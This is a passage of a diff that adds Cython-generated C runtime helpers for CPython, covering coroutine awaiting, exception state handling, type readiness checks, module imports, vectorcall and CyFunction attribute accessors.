goto slot_error; + Py_DECREF(method); + } + if (unlikely(!res)) { + __Pyx_Coroutine_AwaitableIterError(obj); + goto bad; + } + if (unlikely(!PyIter_Check(res))) { + __Pyx_TypeName res_type_name = __Pyx_PyType_GetName(Py_TYPE(res)); + PyErr_Format(PyExc_TypeError, + "__await__() returned non-iterator of type '" __Pyx_FMT_TYPENAME "'", res_type_name); + __Pyx_DECREF_TypeName(res_type_name); + Py_CLEAR(res); + } else { + int is_coroutine = 0; + #ifdef __Pyx_Coroutine_USED + is_coroutine |= __Pyx_Coroutine_Check(res); + #endif + #if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + is_coroutine |= PyCoro_CheckExact(res); + #endif + if (unlikely(is_coroutine)) { + /* __await__ must return an *iterator*, not + a coroutine or another awaitable (see PEP 492) */ + PyErr_SetString(PyExc_TypeError, + "__await__() returned a coroutine"); + Py_CLEAR(res); + } + } + return res; +slot_error: + { + __Pyx_TypeName obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "object " __Pyx_FMT_TYPENAME " can't be used in 'await' expression", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + } +bad: + return NULL; +} + +/* CoroutineYieldFrom */ + static PyObject* __Pyx__Coroutine_Yield_From_Generic(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + PyObject *source_gen = __Pyx__Coroutine_GetAwaitableIter(source); + if (unlikely(!source_gen)) { + return NULL; + } + if (__Pyx_Coroutine_Check(source_gen)) { + retval = __Pyx_Generator_Next(source_gen); + } else { + retval = __Pyx_PyObject_GetIterNextFunc(source_gen)(source_gen); + } + if (retval) { + gen->yieldfrom = source_gen; + return retval; + } + Py_DECREF(source_gen); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + if (__Pyx_Coroutine_Check(source)) { + if (unlikely(((__pyx_CoroutineObject*)source)->yieldfrom)) { + PyErr_SetString( + PyExc_RuntimeError, + "coroutine is being awaited already"); + return NULL; + } + retval = __Pyx_Generator_Next(source); +#ifdef __Pyx_AsyncGen_USED + } else if (__pyx_PyAsyncGenASend_CheckExact(source)) { + retval = __Pyx_async_gen_asend_iternext(source); +#endif + } else { + return __Pyx__Coroutine_Yield_From_Generic(gen, source); + } + if (retval) { + Py_INCREF(source); + gen->yieldfrom = source; + } + return retval; +} + +/* GetException */ + #if CYTHON_FAST_THREAD_STATE +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) +#endif +{ + PyObject *local_type = NULL, *local_value, *local_tb = NULL; +#if CYTHON_FAST_THREAD_STATE + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if PY_VERSION_HEX >= 0x030C00A6 + local_value = tstate->current_exception; + tstate->current_exception = 0; + if (likely(local_value)) { + local_type = (PyObject*) Py_TYPE(local_value); + Py_INCREF(local_type); + local_tb = PyException_GetTraceback(local_value); + } + #else + local_type = tstate->curexc_type; + local_value = tstate->curexc_value; + local_tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; + #endif +#else + PyErr_Fetch(&local_type, &local_value, &local_tb); +#endif + PyErr_NormalizeException(&local_type, &local_value, &local_tb); +#if CYTHON_FAST_THREAD_STATE && PY_VERSION_HEX >= 0x030C00A6 + if (unlikely(tstate->current_exception)) +#elif CYTHON_FAST_THREAD_STATE + if (unlikely(tstate->curexc_type)) +#else + if (unlikely(PyErr_Occurred())) +#endif + goto bad; + #if PY_MAJOR_VERSION >= 3 + if (local_tb) { + if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) + goto bad; + } + #endif + Py_XINCREF(local_tb); + Py_XINCREF(local_type); + Py_XINCREF(local_value); + *type = local_type; + *value = local_value; + *tb = local_tb; +#if CYTHON_FAST_THREAD_STATE + #if CYTHON_USE_EXC_INFO_STACK + { + _PyErr_StackItem *exc_info = tstate->exc_info; + #if PY_VERSION_HEX >= 0x030B00a4 + tmp_value = exc_info->exc_value; + exc_info->exc_value = local_value; + tmp_type = NULL; + tmp_tb = NULL; + Py_XDECREF(local_type); + Py_XDECREF(local_tb); + #else + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = local_type; + exc_info->exc_value = local_value; + exc_info->exc_traceback = local_tb; + #endif + } + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = local_type; + tstate->exc_value = local_value; + tstate->exc_traceback = local_tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#else + PyErr_SetExcInfo(local_type, local_value, local_tb); +#endif + return 0; +bad: + *type = 0; + *value = 0; + *tb = 0; + Py_XDECREF(local_type); + Py_XDECREF(local_value); + Py_XDECREF(local_tb); + return -1; +} + +/* pep479 */ + static void __Pyx_Generator_Replace_StopIteration(int in_async_gen) { + PyObject *exc, *val, *tb, *cur_exc; + __Pyx_PyThreadState_declare + #ifdef __Pyx_StopAsyncIteration_USED + int is_async_stopiteration = 0; + #endif + CYTHON_MAYBE_UNUSED_VAR(in_async_gen); + cur_exc = PyErr_Occurred(); + if (likely(!__Pyx_PyErr_GivenExceptionMatches(cur_exc, PyExc_StopIteration))) { + #ifdef __Pyx_StopAsyncIteration_USED + if (in_async_gen && unlikely(__Pyx_PyErr_GivenExceptionMatches(cur_exc, __Pyx_PyExc_StopAsyncIteration))) { + is_async_stopiteration = 1; + } else + #endif + return; + } + __Pyx_PyThreadState_assign + __Pyx_GetException(&exc, &val, &tb); + Py_XDECREF(exc); + Py_XDECREF(val); + Py_XDECREF(tb); + PyErr_SetString(PyExc_RuntimeError, + #ifdef __Pyx_StopAsyncIteration_USED + is_async_stopiteration ? "async generator raised StopAsyncIteration" : + in_async_gen ? "async generator raised StopIteration" : + #endif + "generator raised StopIteration"); +} + +/* PyObjectCallMethod0 */ + static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name) { + PyObject *method = NULL, *result = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_CallOneArg(method, obj); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) goto bad; + result = __Pyx_PyObject_CallNoArg(method); + Py_DECREF(method); +bad: + return result; +} + +/* ValidateBasesTuple */ + #if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases) { + Py_ssize_t i, n; +#if CYTHON_ASSUME_SAFE_MACROS + n = PyTuple_GET_SIZE(bases); +#else + n = PyTuple_Size(bases); + if (n < 0) return -1; +#endif + for (i = 1; i < n; i++) + { +#if CYTHON_AVOID_BORROWED_REFS + PyObject *b0 = PySequence_GetItem(bases, i); + if (!b0) return -1; +#elif CYTHON_ASSUME_SAFE_MACROS + PyObject *b0 = PyTuple_GET_ITEM(bases, i); +#else + PyObject *b0 = PyTuple_GetItem(bases, i); + if (!b0) return -1; +#endif + PyTypeObject *b; +#if PY_MAJOR_VERSION < 3 + if (PyClass_Check(b0)) + { + PyErr_Format(PyExc_TypeError, "base class '%.200s' is an old-style class", + PyString_AS_STRING(((PyClassObject*)b0)->cl_name)); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } +#endif + b = (PyTypeObject*) b0; + if (!__Pyx_PyType_HasFeature(b, Py_TPFLAGS_HEAPTYPE)) + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "base class '" __Pyx_FMT_TYPENAME "' is not a heap type", b_name); + __Pyx_DECREF_TypeName(b_name); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + if (dictoffset == 0) + { + Py_ssize_t b_dictoffset = 0; +#if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + b_dictoffset = b->tp_dictoffset; +#else + PyObject *py_b_dictoffset = PyObject_GetAttrString((PyObject*)b, "__dictoffset__"); + if (!py_b_dictoffset) goto dictoffset_return; + b_dictoffset = PyLong_AsSsize_t(py_b_dictoffset); + Py_DECREF(py_b_dictoffset); + if (b_dictoffset == -1 && PyErr_Occurred()) goto dictoffset_return; +#endif + if (b_dictoffset) { + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "extension type '%.200s' has no __dict__ slot, " + "but base type '" __Pyx_FMT_TYPENAME "' has: " + "either add 'cdef dict __dict__' to the extension type " + "or add '__slots__ = [...]' to the base type", + type_name, b_name); + __Pyx_DECREF_TypeName(b_name); + } +#if !(CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY) + dictoffset_return: +#endif +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + } +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + } + return 0; +} +#endif + +/* PyType_Ready */ + static int __Pyx_PyType_Ready(PyTypeObject *t) { +#if CYTHON_USE_TYPE_SPECS || !(CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API) || defined(PYSTON_MAJOR_VERSION) + (void)__Pyx_PyObject_CallMethod0; +#if CYTHON_USE_TYPE_SPECS + (void)__Pyx_validate_bases_tuple; +#endif + return PyType_Ready(t); +#else + int r; + PyObject *bases = __Pyx_PyType_GetSlot(t, tp_bases, PyObject*); + if (bases && unlikely(__Pyx_validate_bases_tuple(t->tp_name, t->tp_dictoffset, bases) == -1)) + return -1; +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + { + int gc_was_enabled; + #if PY_VERSION_HEX >= 0x030A00b1 + gc_was_enabled = PyGC_Disable(); + (void)__Pyx_PyObject_CallMethod0; + #else + PyObject *ret, *py_status; + PyObject *gc = NULL; + #if PY_VERSION_HEX >= 0x030700a1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM+0 >= 0x07030400) + gc = PyImport_GetModule(__pyx_kp_u_gc); + #endif + if (unlikely(!gc)) gc = PyImport_Import(__pyx_kp_u_gc); + if (unlikely(!gc)) return -1; + py_status = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_isenabled); + if (unlikely(!py_status)) { + Py_DECREF(gc); + return -1; + } + gc_was_enabled = __Pyx_PyObject_IsTrue(py_status); + Py_DECREF(py_status); + if (gc_was_enabled > 0) { + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_disable); + if (unlikely(!ret)) { + Py_DECREF(gc); + return -1; + } + Py_DECREF(ret); + } else if (unlikely(gc_was_enabled == -1)) { + Py_DECREF(gc); + return -1; + } + #endif + t->tp_flags |= Py_TPFLAGS_HEAPTYPE; +#if PY_VERSION_HEX >= 0x030A0000 + t->tp_flags |= Py_TPFLAGS_IMMUTABLETYPE; +#endif +#else + (void)__Pyx_PyObject_CallMethod0; +#endif + r = PyType_Ready(t); +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + t->tp_flags &= ~Py_TPFLAGS_HEAPTYPE; + #if PY_VERSION_HEX >= 0x030A00b1 + if (gc_was_enabled) + PyGC_Enable(); + #else + if (gc_was_enabled) { + PyObject *tp, *v, *tb; + PyErr_Fetch(&tp, &v, &tb); + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_enable); + if (likely(ret || r == -1)) { + Py_XDECREF(ret); + PyErr_Restore(tp, v, tb); + } else { + Py_XDECREF(tp); + Py_XDECREF(v); + Py_XDECREF(tb); + r = -1; + } + } + Py_DECREF(gc); + #endif + } +#endif + return r; +#endif +} + +/* Import */ + static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { + PyObject *module = 0; + PyObject *empty_dict = 0; + PyObject *empty_list = 0; + #if PY_MAJOR_VERSION < 3 + PyObject *py_import; + py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); + if (unlikely(!py_import)) + goto bad; + if (!from_list) { + empty_list = PyList_New(0); + if (unlikely(!empty_list)) + goto bad; + from_list = empty_list; + } + #endif + empty_dict = PyDict_New(); + if (unlikely(!empty_dict)) + goto bad; + { + #if PY_MAJOR_VERSION >= 3 + if (level == -1) { + if (strchr(__Pyx_MODULE_NAME, '.') != NULL) { + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, 1); + if (unlikely(!module)) { + if (unlikely(!PyErr_ExceptionMatches(PyExc_ImportError))) + goto bad; + PyErr_Clear(); + } + } + level = 0; + } + #endif + if (!module) { + #if PY_MAJOR_VERSION < 3 + PyObject *py_level = PyInt_FromLong(level); + if (unlikely(!py_level)) + goto bad; + module = PyObject_CallFunctionObjArgs(py_import, + name, __pyx_d, empty_dict, from_list, py_level, (PyObject *)NULL); + Py_DECREF(py_level); + #else + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, level); + #endif + } + } +bad: + Py_XDECREF(empty_dict); + Py_XDECREF(empty_list); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_import); + #endif + return module; +} + +/* ImportFrom */ + static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { + PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); + if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { + const char* module_name_str = 0; + PyObject* module_name = 0; + PyObject* module_dot = 0; + PyObject* full_name = 0; + PyErr_Clear(); + module_name_str = PyModule_GetName(module); + if (unlikely(!module_name_str)) { goto modbad; } + module_name = PyUnicode_FromString(module_name_str); + if (unlikely(!module_name)) { goto modbad; } + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__7); + if (unlikely(!module_dot)) { goto modbad; } + full_name = PyUnicode_Concat(module_dot, name); + if (unlikely(!full_name)) { goto modbad; } + #if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + { + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + goto modbad; + value = PyObject_GetItem(modules, full_name); + } + #else + value = PyImport_GetModule(full_name); + #endif + modbad: + Py_XDECREF(full_name); + Py_XDECREF(module_dot); + Py_XDECREF(module_name); + } + if (unlikely(!value)) { + PyErr_Format(PyExc_ImportError, + #if PY_MAJOR_VERSION < 3 + "cannot import name %.230s", PyString_AS_STRING(name)); + #else + "cannot import name %S", name); + #endif + } + return value; +} + +/* PyVectorcallFastCallDict */ + #if CYTHON_METH_FASTCALL +static PyObject *__Pyx_PyVectorcall_FastCallDict_kw(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + PyObject *res = NULL; + PyObject *kwnames; + PyObject **newargs; + PyObject **kwvalues; + Py_ssize_t i, pos; + size_t j; + PyObject *key, *value; + unsigned long keys_are_strings; + Py_ssize_t nkw = PyDict_GET_SIZE(kw); + newargs = (PyObject **)PyMem_Malloc((nargs + (size_t)nkw) * sizeof(args[0])); + if (unlikely(newargs == NULL)) { + PyErr_NoMemory(); + return NULL; + } + for (j = 0; j < nargs; j++) newargs[j] = args[j]; + kwnames = PyTuple_New(nkw); + if (unlikely(kwnames == NULL)) { + PyMem_Free(newargs); + return NULL; + } + kwvalues = newargs + nargs; + pos = i = 0; + keys_are_strings = Py_TPFLAGS_UNICODE_SUBCLASS; + while (PyDict_Next(kw, &pos, &key, &value)) { + keys_are_strings &= Py_TYPE(key)->tp_flags; + Py_INCREF(key); + Py_INCREF(value); + PyTuple_SET_ITEM(kwnames, i, key); + kwvalues[i] = value; + i++; + } + if (unlikely(!keys_are_strings)) { + PyErr_SetString(PyExc_TypeError, "keywords must be strings"); + goto cleanup; + } + res = vc(func, newargs, nargs, kwnames); +cleanup: + Py_DECREF(kwnames); + for (i = 0; i < nkw; i++) + Py_DECREF(kwvalues[i]); + PyMem_Free(newargs); + return res; +} +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + if (likely(kw == NULL) || PyDict_GET_SIZE(kw) == 0) { + return vc(func, args, nargs, NULL); + } + return __Pyx_PyVectorcall_FastCallDict_kw(func, vc, args, nargs, kw); +} +#endif + +/* CythonFunctionShared */ + #if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + if (__Pyx_CyFunction_Check(func)) { + return PyCFunction_GetFunction(((__pyx_CyFunctionObject*)func)->func) == (PyCFunction) cfunc; + } else if (PyCFunction_Check(func)) { + return PyCFunction_GetFunction(func) == (PyCFunction) cfunc; + } + return 0; +} +#else +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + return __Pyx_CyOrPyCFunction_Check(func) && __Pyx_CyOrPyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +} +#endif +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj) { +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + __Pyx_Py_XDECREF_SET( + __Pyx_CyFunction_GetClassObj(f), + ((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#else + __Pyx_Py_XDECREF_SET( + ((PyCMethodObject *) (f))->mm_class, + (PyTypeObject*)((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#endif +} +static PyObject * +__Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, void *closure) +{ + CYTHON_UNUSED_VAR(closure); + if (unlikely(op->func_doc == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_doc = PyObject_GetAttrString(op->func, "__doc__"); + if (unlikely(!op->func_doc)) return NULL; +#else + if (((PyCFunctionObject*)op)->m_ml->ml_doc) { +#if PY_MAJOR_VERSION >= 3 + op->func_doc = PyUnicode_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#else + op->func_doc = PyString_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#endif + if (unlikely(op->func_doc == NULL)) + return NULL; + } else { + Py_INCREF(Py_None); + return Py_None; + } +#endif + } + Py_INCREF(op->func_doc); + return op->func_doc; +} +static int +__Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (value == NULL) { + value = Py_None; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_doc, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_name == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_name = PyObject_GetAttrString(op->func, "__name__"); +#elif PY_MAJOR_VERSION >= 3 + op->func_name = PyUnicode_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#else + op->func_name = PyString_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#endif + if (unlikely(op->func_name == NULL)) + return NULL; + } + Py_INCREF(op->func_name); + return op->func_name; +} +static int +__Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_name, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_qualname); + return op->func_qualname; +} +static int +__Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_qualname, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_dict == NULL)) { + op->func_dict = PyDict_New(); + if (unlikely(op->func_dict == NULL)) + return NULL; + } + Py_INCREF(op->func_dict); + return op->func_dict; +} +static int +__Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(value == NULL)) { + PyErr_SetString(PyExc_TypeError, + "function's dictionary may not be deleted"); + return -1; + } + if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "setting function's dictionary to a non-dict"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_dict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_globals); + return op->func_globals; +} +static PyObject * +__Pyx_CyFunction_get_closure(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(op); + CYTHON_UNUSED_VAR(context); + Py_INCREF(Py_None); + return Py_None; +} +static PyObject * +__Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op, void *context) +{ + PyObject* result = (op->func_code) ? op->func_code : Py_None; + CYTHON_UNUSED_VAR(context); + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { + int result = 0; + PyObject *res = op->defaults_getter((PyObject *) op); + if (unlikely(!res)) + return -1; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + op->defaults_tuple = PyTuple_GET_ITEM(res, 0); + Py_INCREF(op->defaults_tuple); + op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); + Py_INCREF(op->defaults_kwdict); + #else + op->defaults_tuple = __Pyx_PySequence_ITEM(res, 0); + if (unlikely(!op->defaults_tuple)) result = -1; + else { + op->defaults_kwdict = __Pyx_PySequence_ITEM(res, 1); + if (unlikely(!op->defaults_kwdict)) result = -1; + } + #endif + Py_DECREF(res); + return result; +} +static int +__Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyTuple_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__defaults__ must be set to a tuple object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__defaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_tuple, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_tuple; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_tuple; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__kwdefaults__ must be set to a dict object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__kwdefaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_kwdict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_kwdict; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_kwdict; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value || value == Py_None) { + value = NULL; + } else if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__annotations__ must be set to a dict object"); + return -1; + } + Py_XINCREF(value); + __Pyx_Py_XDECREF_SET(op->func_annotations, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->func_annotations; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + result = PyDict_New(); + if (unlikely(!result)) return NULL; + op->func_annotations = result; + } + Py_INCREF(result); + return result; +} +static PyObject * +__Pyx_CyFunction_get_is_coroutine(__pyx_CyFunctionObject *op, void *context) { + int is_coroutine; + CYTHON_UNUSED_VAR(context); + if (op->func_is_coroutine) { + return __Pyx_NewRef(op->func_is_coroutine); + } + is_coroutine = op->flags & __Pyx_CYFUNCTION_COROUTINE; +#if PY_VERSION_HEX >= 0x03050000 + if (is_coroutine) { + PyObject *module, *fromlist, *marker = __pyx_n_s_is_coroutine; + fromlist = PyList_New(1); + if (unlikely(!fromlist)) return NULL; + Py_INCREF(marker); +#if CYTHON_ASSUME_SAFE_MACROS + PyList_SET_ITEM(fromlist, 0, marker); +#else + if (unlikely(PyList_SetItem(fromlist, 0, marker) < 0)) { + Py_DECREF(marker); + Py_DECREF(fromlist); + return NULL; + } +#endif + module = PyImport_ImportModuleLevelObject(__pyx_n_s_asyncio_coroutines, NULL, NULL, fromlist, 0); + Py_DECREF(fromlist); + if (unlikely(!module)) goto ignore; + op->func_is_coroutine = __Pyx_PyObject_GetAttrStr(module, marker); + Py_DECREF(module); + if (likely(op->func_is_coroutine)) { + return __Pyx_NewRef(op->func_is_coroutine); + } +ignore: + PyErr_Clear(); + } +#endif + op->func_is_coroutine = __Pyx_PyBool_FromLong(is_coroutine); + return __Pyx_NewRef(op->func_is_coroutine); +} +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject * +__Pyx_CyFunction_get_module(__pyx_CyFunctionObject *op, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_GetAttrString(op->func, "__module__"); +} +static int +__Pyx_CyFunction_set_module(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_SetAttrString(op->func, "__module__", value); +} +#endif +static PyGetSetDef __pyx_CyFunction_getsets[] = { + {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, + {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, + {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, + {(char *) "_is_coroutine", (getter)__Pyx_CyFunction_get_is_coroutine, 0, 0, 0}, +#if CYTHON_COMPILING_IN_LIMITED_API + {"__module__", (getter)__Pyx_CyFunction_get_module, (setter)__Pyx_CyFunction_set_module, 0, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyMemberDef __pyx_CyFunction_members[] = { +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__module__", T_OBJECT, offsetof(PyCFunctionObject, m_module), 0, 0}, +#endif +#if CYTHON_USE_TYPE_SPECS + {(char *) "__dictoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_dict), 